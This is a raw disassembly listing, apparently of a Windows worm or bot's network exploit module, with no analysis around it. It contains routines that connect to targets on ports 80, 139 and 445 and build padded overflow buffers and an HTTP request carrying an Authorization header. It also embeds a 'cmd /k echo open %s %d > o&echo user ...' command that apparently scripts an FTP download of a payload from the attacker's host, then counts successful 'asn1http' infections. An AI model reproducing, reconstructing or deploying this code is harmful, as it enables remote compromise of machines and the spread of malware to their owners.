		call	near ptr loc_4018EB+1
		lea	ecx, [ebp+var_28]
		call	near ptr loc_4018EB+1
		push	4
		push	offset dword_41E258
		lea	ecx, [ebp+var_30]
		call	sub_401AA4
		push	3
		push	offset dword_41E260
		lea	ecx, [ebp+var_30]
		call	sub_401AA4
		lea	ecx, [ebp+var_30]
		call	sub_401A2A
		lea	ecx, [ebp+var_30]
		call	sub_401B05
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_401AA4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_401AA4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_401AA4
		lea	ecx, [ebp+var_20]
		call	sub_401A2A
		push	offset loc_41E5E0
		lea	ecx, [ebp+var_50]
		call	sub_401AD8
		lea	ecx, [ebp+var_50]
		call	sub_401A2A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_4018F6
		lea	ecx, [ebp+var_58]
		call	sub_401A2A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_401B41
		lea	ecx, [ebp+var_58]
		call	sub_401985
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_410870
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_401AD8
		push	4
		push	offset dword_41E264
		lea	ecx, [ebp+var_18]
		call	sub_401AA4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_401AA4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_401AA4
		lea	ecx, [ebp+var_18]
		call	sub_401A2A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_401AF5
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_401AF5
		lea	ecx, [ebp+var_40]
		call	sub_401B05
		lea	ecx, [ebp+var_18]
		call	sub_401985
		lea	ecx, [ebp+var_50]
		call	sub_401985
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_401AF5
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_401AF5
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_401AF5
		lea	ecx, [ebp+var_38]
		call	sub_401B05
		lea	ecx, [ebp+var_20]
		call	sub_401985
		lea	ecx, [ebp+var_30]
		call	sub_401985
		lea	ecx, [ebp+var_40]
		call	sub_401985
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_401AA4
		lea	ecx, [ebp+var_28]
		call	sub_401A2A
		push	2
		push	offset dword_41E5D4
		lea	ecx, [ebp+var_28]
		call	sub_401AA4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_401AF5
		lea	ecx, [ebp+var_28]
		call	sub_401B05
		lea	ecx, [ebp+var_38]
		call	sub_401985
		lea	ecx, [ebp+var_10]
		call	near ptr loc_4018EB+1
		lea	ecx, [ebp+var_8]
		call	near ptr loc_4018EB+1
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_401AF5
		lea	ecx, [ebp+var_10]
		call	sub_40199E
		lea	ecx, [ebp+var_28]
		call	sub_401985
		push	offset dword_41E5D0
		lea	ecx, [ebp+var_8]
		call	sub_401AD8
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401AF5
		lea	ecx, [ebp+var_8]
		call	sub_40199E
		lea	ecx, [ebp+var_10]
		call	sub_401985
		push	offset dword_41E5CC
		lea	ecx, [ebp+var_10]
		call	sub_401AD8
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_401AF5
		lea	ecx, [ebp+var_10]
		call	sub_40199E
		lea	ecx, [ebp+var_8]
		call	sub_401985
		push	offset dword_41E5C0
		lea	ecx, [ebp+var_8]
		call	sub_401AD8
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_401AF5
		lea	ecx, [ebp+var_8]
		call	sub_40199E
		lea	ecx, [ebp+var_10]
		call	sub_401985
		push	offset dword_41E5BC
		lea	ecx, [ebp+var_48]
		call	sub_401AD8
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_401AF5
		lea	ecx, [ebp+var_8]
		call	sub_401985
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_401EC2
; ---------------------------------------------------------------------------


loc_401EB4:				; CODE XREF: sub_401B60+1Bj
					; sub_401B60+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_401EC2:				; CODE XREF: sub_401B60+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_401B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EC6	proc near		; CODE XREF: sub_401F8A+A1p
					; sub_401F8A+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_41C1E0	; select
		cmp	eax, edi
		jnz	short loc_401F2D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_41AF88	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_401F31


loc_401F2D:				; CODE XREF: sub_401EC6+54j
		xor	eax, eax
		jmp	short loc_401F41
; ---------------------------------------------------------------------------


loc_401F31:				; CODE XREF: sub_401EC6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_42FA30


loc_401F41:				; CODE XREF: sub_401EC6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_401EC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F45	proc near		; CODE XREF: sub_401F8A+81p
					; sub_401F8A+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_42FA14
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42FA68
		cmp	eax, 4
		jz	short loc_401F6F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F6F:				; CODE XREF: sub_401F45+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42FA68
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_401F45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F8A	proc near		; CODE XREF: sub_402064+48p
					; sub_40235F+181p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_410AEB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_401FB3
		xor	al, al
		jmp	loc_40205F
; ---------------------------------------------------------------------------


loc_401FB3:				; CODE XREF: sub_401F8A+20j
		push	ebx
		push	0
		push	esi
		call	sub_410870
		push	2Fh
		push	offset dword_41E2F4
		push	esi
		call	sub_410510
		push	8
		lea	eax, [esi+31h]
		push	offset dword_41E324
		push	eax
		mov	[esi+2Fh], di
		call	sub_410510
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_410510
		push	6
		add	ebx, edi
		push	offset dword_42E64C
		push	ebx
		call	sub_410510
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_41E26C
		push	ebx
		call	sub_401F45
		add	esp, 48h
		test	al, al
		jnz	short loc_40201B


loc_402017:				; CODE XREF: sub_401F8A+B5j
		xor	bl, bl
		jmp	short loc_402056
; ---------------------------------------------------------------------------


loc_40201B:				; CODE XREF: sub_401F8A+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_401EC6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_401F45
		add	esp, 1Ch
		test	al, al
		jz	short loc_402017
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_401EC6
		add	esp, 10h
		mov	bl, 1


loc_402056:				; CODE XREF: sub_401F8A+8Fj
		push	esi
		call	sub_410B5F
		pop	ecx
		mov	al, bl


loc_40205F:				; CODE XREF: sub_401F8A+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401F8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402064	proc near		; CODE XREF: sub_40235F+167p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_41E330
		push	[ebp+arg_0]
		call	ds:dword_41C1DC	; send
		cmp	eax, 48h
		jnz	short loc_40209F
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_401EC6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40209F
		cmp	[ebp+var_20], 82h
		jz	short loc_4020A3


loc_40209F:				; CODE XREF: sub_402064+1Bj
					; sub_402064+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_4020A3:				; CODE XREF: sub_402064+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401F8A
		add	esp, 0Ch
		leave
		retn
sub_402064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020B6	proc near		; CODE XREF: sub_402102+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_41C238
		call	sub_410CB0
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_41C230
		fstp	[esp+10h+var_10]
		call	sub_410B8E
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_410CB0
		inc	eax
		leave
		retn
sub_4020B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_402102	proc near		; CODE XREF: sub_4022A4+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_41B0E7
		call	sub_41117C
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al


loc_402121:				; DATA XREF: seg002:off_4256B0o
		call	sub_402779
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_4020B6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_402144
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4026F4


loc_402144:				; CODE XREF: sub_402102+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_402261
		mov	ebx, [ebp+10h]


loc_402153:				; CODE XREF: sub_402102+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40215D
		push	3
		jmp	short loc_40216F
; ---------------------------------------------------------------------------


loc_40215D:				; CODE XREF: sub_402102+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_402167
		push	2
		jmp	short loc_40216F
; ---------------------------------------------------------------------------


loc_402167:				; CODE XREF: sub_402102+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_402170
		push	1


loc_40216F:				; CODE XREF: sub_402102+59j
					; sub_402102+63j
		pop	ebx


loc_402170:				; CODE XREF: sub_402102+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_41C248
		fstp	[esp+40h+var_40]
		call	sub_410CD7
		pop	ecx
		pop	ecx
		call	sub_410CB0
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4021AF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4021AF:				; CODE XREF: sub_402102+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40221D
		add	[ebp-18h], eax


loc_402201:				; CODE XREF: sub_402102+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_41E37C[eax]
		push	eax
		push	1
		call	sub_402576
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_402201


loc_40221D:				; CODE XREF: sub_402102+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40223B
		push	dword ptr [ebp+14h]
		call	sub_410A70
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4025CF
		mov	[ebp-18h], edi


loc_40223B:				; CODE XREF: sub_402102+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_402255
		sub	esi, [ebp-1Ch]


loc_402246:				; CODE XREF: sub_402102+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_402576
		dec	esi
		jnz	short loc_402246


loc_402255:				; CODE XREF: sub_402102+13Fj
		cmp	[ebp+10h], edi
		ja	loc_402153
		push	1
		pop	ebx


loc_402261:				; CODE XREF: sub_402102+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_402779
		push	ds:dword_41C240
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402626
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_402779
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_402102	endp


; =============== S U B	R O U T	I N E =======================================



sub_4022A4	proc near		; CODE XREF: sub_40235F+14Ap
		mov	eax, offset loc_41B104
		call	sub_41117C
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_42E658
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_402102
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_410AEB
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_4022EE
		xor	bl, bl
		jmp	short loc_402332
; ---------------------------------------------------------------------------


loc_4022EE:				; CODE XREF: sub_4022A4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_41C250
		cmp	ecx, ebx
		jnz	short loc_4022FC
		mov	ecx, eax


loc_4022FC:				; CODE XREF: sub_4022A4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_402304
		mov	eax, [ebp+18h]


loc_402304:				; CODE XREF: sub_4022A4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41099A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_42FA68
		cmp	eax, esi
		jz	short loc_402329
		xor	bl, bl
		jmp	short loc_40232B
; ---------------------------------------------------------------------------


loc_402329:				; CODE XREF: sub_4022A4+7Fj
		mov	bl, 1


loc_40232B:				; CODE XREF: sub_4022A4+83j
		push	edi
		call	sub_410B5F
		pop	ecx


loc_402332:				; CODE XREF: sub_4022A4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_402779
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_402779
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4022A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40235F	proc near		; CODE XREF: sub_404CE1+1E6p
					; DATA XREF: seg002:off_41F28Co

var_624		= byte ptr -624h
var_424		= byte ptr -424h
var_423		= byte ptr -423h
var_395		= byte ptr -395h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	[ebp+var_424], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_423]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_424]
		push	offset sub_41E528
		push	eax
		call	sub_410510
		add	esp, 0Ch
		mov	eax, offset byte_4224F4
		push	eax
		push	eax
		push	ds:dword_42E660
		push	[ebp+arg_0]
		call	sub_406CDF
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_395]
		push	400h
		push	eax
		call	sub_41099A
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		push	164h
		lea	eax, [ebp+var_24]
		push	offset sub_41E3C0
		push	eax
		call	sub_401B60
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp+var_8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_402405
		xor	eax, eax
		jmp	loc_402569
; ---------------------------------------------------------------------------


loc_402405:				; CODE XREF: sub_40235F+9Dj
		mov	[ebp+var_C], esi


loc_402408:				; CODE XREF: sub_40235F+1A9j
		test	esi, esi
		jnz	loc_40250E
		push	6
		push	1
		push	2
		call	ds:dword_41C1D8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4024F6
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	ds:dword_42FA18
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_42FA58
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42F9C0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4024EB
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_4024B3
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_402779
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_4027B5
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4022A4
		add	esp, 1Ch
		jmp	short loc_4024E8
; ---------------------------------------------------------------------------


loc_4024B3:				; CODE XREF: sub_40235F+112j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_4024CD
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402064
		jmp	short loc_4024E5
; ---------------------------------------------------------------------------


loc_4024CD:				; CODE XREF: sub_40235F+15Ej
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_4024EB
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_401F8A


loc_4024E5:				; CODE XREF: sub_40235F+16Cj
		add	esp, 0Ch


loc_4024E8:				; CODE XREF: sub_40235F+152j
		movzx	esi, al


loc_4024EB:				; CODE XREF: sub_40235F+105j
					; sub_40235F+178j
		push	ebx
		call	ds:dword_42FAB0
		test	esi, esi
		jnz	short loc_402501


loc_4024F6:				; CODE XREF: sub_40235F+C2j
		push	3E8h
		call	ds:dword_41C050	; Sleep


loc_402501:				; CODE XREF: sub_40235F+195j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_402408


loc_40250E:				; CODE XREF: sub_40235F+ABj
		lea	ecx, [ebp+var_8]
		call	sub_401985
		test	esi, esi
		jz	short loc_402567
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aAsn1http ;	"asn1http"
		push	eax
		push	offset dword_41E5EC
		lea	eax, [ebp+var_624]
		push	200h
		push	eax
		call	sub_41099A
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_407AB1
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_41F290[eax]
		lea	eax, dword_41F290[eax]


loc_402567:				; CODE XREF: sub_40235F+1B9j
		mov	eax, esi


loc_402569:				; CODE XREF: sub_40235F+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40235F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B0C8


loc_40256E:				; CODE XREF: sub_41B0C8+3j
					; seg000:0041B0E1j ...
		push	1
		call	sub_402779
		retn
; END OF FUNCTION CHUNK	FOR sub_41B0C8

; =============== S U B	R O U T	I N E =======================================



sub_402576	proc near		; CODE XREF: sub_402102+110p
					; sub_402102+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_41C240
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_402590
		call	sub_41AC30


loc_402590:				; CODE XREF: sub_402576+13j
		test	ebx, ebx
		jbe	short loc_4025C7
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4026F4
		test	al, al
		jz	short loc_4025C7
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_410870
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4025C7:				; CODE XREF: sub_402576+1Cj
					; sub_402576+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_402576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4025CF	proc near		; CODE XREF: sub_402102+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_41C240
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4025E9
		call	sub_41AC30


loc_4025E9:				; CODE XREF: sub_4025CF+13j
		test	ebx, ebx
		jbe	short loc_40261E
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4026F4
		test	al, al
		jz	short loc_40261E
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_410510
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40261E:				; CODE XREF: sub_4025CF+1Cj
					; sub_4025CF+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4025CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402626	proc near		; CODE XREF: sub_402102+17Cp
					; sub_41AC8A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40263E
		call	sub_41AE5C


loc_40263E:				; CODE XREF: sub_402626+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_402650
		mov	esi, [ebp+arg_8]


loc_402650:				; CODE XREF: sub_402626+25j
		cmp	edi, ebx
		jnz	short loc_402672
		push	ds:dword_41C240
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4027EA
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4027EA
		jmp	short loc_4026EB
; ---------------------------------------------------------------------------


loc_402672:				; CODE XREF: sub_402626+2Cj
		test	esi, esi
		jbe	short loc_4026B5
		cmp	esi, eax
		jnz	short loc_4026B5
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402686
		mov	eax, offset dword_41C250


loc_402686:				; CODE XREF: sub_402626+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4026B5
		push	1
		mov	ecx, edi
		call	sub_402779
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4026A1
		mov	eax, offset dword_41C250


loc_4026A1:				; CODE XREF: sub_402626+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4026EB
; ---------------------------------------------------------------------------


loc_4026B5:				; CODE XREF: sub_402626+4Ej
					; sub_402626+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4026F4
		test	al, al
		jz	short loc_4026EB
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4026CF
		mov	eax, offset dword_41C250


loc_4026CF:				; CODE XREF: sub_402626+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_410510
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_4026EB:				; CODE XREF: sub_402626+4Aj
					; sub_402626+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_402626	endp


